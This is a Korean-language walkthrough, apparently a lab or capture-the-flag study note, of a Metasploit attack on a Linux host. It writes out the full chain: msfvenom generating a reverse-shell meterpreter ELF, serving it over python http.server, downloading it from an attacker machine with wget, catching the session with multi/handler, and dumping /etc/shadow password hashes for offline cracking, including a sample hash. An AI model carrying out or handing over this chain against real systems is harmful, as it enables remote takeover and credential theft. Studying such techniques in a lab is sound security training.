msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
msfvenom은 메타스플로잇(Metasploit)에서 쉘코드(shellcode)와 페이로드(payload)를 생성하는 도구입니다.
-p linux/x86/meterpreter/reverse_tcp:
linux/x86: 리눅스 32비트용meterpreter/reverse_tcp: 리버스 쉘(reverse shell) 페이로드. 목표 시스템에서 공격자 시스템으로 연결을 시도합니다.LHOST=10.10.X.X: 공격자 머신 IP
LPORT=XXXX: 공격자 머신 포트
-f elf: ELF(Executable and Linkable Format) 실행파일 포맷으로 생성
결과 파일: rev_shell.elf
원리 요약: ELF 파일 안에는 리버스 쉘코드가 포함되어 있어서 실행 시 공격자에게 연결을 시도합니다.
python3 -m http.server 9000
http.server를 사용하면 간단히 웹서버를 띄워 파일을 공유할 수 있음.wget http://ATTACKING_MACHINE_IP:9000/rev_shell.elf
wget으로 HTTP 서버에서 파일 다운로드원리: HTTP 프로토콜을 이용한 파일 전송. 네트워크 상에서 쉽게 ELF 파일을 전달 가능.
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.X.X
set LPORT XXXX
run
exploit/multi/handler는 페이로드를 처리하는 핸들러(handler).
목표 시스템에서 실행한 ELF 파일이 연결 시도하면, 이 핸들러가 연결을 받아 Meterpreter 세션을 생성.
Meterpreter는 고급 쉘(shell) 기능 제공:
chmod +x rev_shell.elf
./rev_shell.elf
chmod +x: 실행 권한 부여
./rev_shell.elf 실행 시:
원리 요약: 실행 즉시 공격자에게 쉘 연결 시도 → Meterpreter 세션 형성
run post/linux/gather/hashdump
/etc/shadow 파일에서 사용자 패스워드 해시를 읽음$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0
$6$ → SHA-512 해시 알고리즘 사용$Sy0NNIXw$ → 솔트(salt)$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0 → 실제 해시원리 요약: 패스워드는 평문이 아니라 해시+솔트 형태로 저장. 해시 덤프 후 오프라인에서 크랙 가능.